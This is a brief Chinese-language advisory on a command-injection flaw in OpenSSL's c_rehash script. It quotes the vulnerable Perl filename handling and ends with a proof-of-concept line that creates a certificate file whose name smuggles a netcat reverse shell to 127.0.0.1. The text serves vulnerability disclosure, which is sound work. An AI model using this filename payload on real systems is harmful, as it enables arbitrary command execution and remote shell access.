
c_rehash 脚本未正确清理 shell 元字符以防止命令注入。
该脚本被某些操作系统以自动执行的方式分发。
在这些操作系统上,攻击者可能以脚本权限执行任意命令。
c_rehash 脚本的使用已视为过时,应由 OpenSSL rehash 命令行工具替代。
该脚本由 update-ca-certificates(来自 ca-certificates 包)执行,
用于重新哈希 /etc/ssl/certs/ 中的证书。能够在
此目录中放置文件的攻击者可以以脚本权限执行任意命令。
命令注入的发生是因为文件名未正确清理:
$fname =~ s/'/'\\''/g;my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;脚本的这一部分存在漏洞,因为关闭反引号允许命令执行,例如一个名为 MyCert.crt`whoami` 的文件将执行 "whoami"。
/etc/ssl/certs/(默认)或 update-ca-certificates 中配置的其他路径echo "-----BEGIN CERTIFICATE-----" > "hey.crt\`nc -c sh 127.0.0.1 12345\`" (以 nc 作为载荷示例)c_rehash .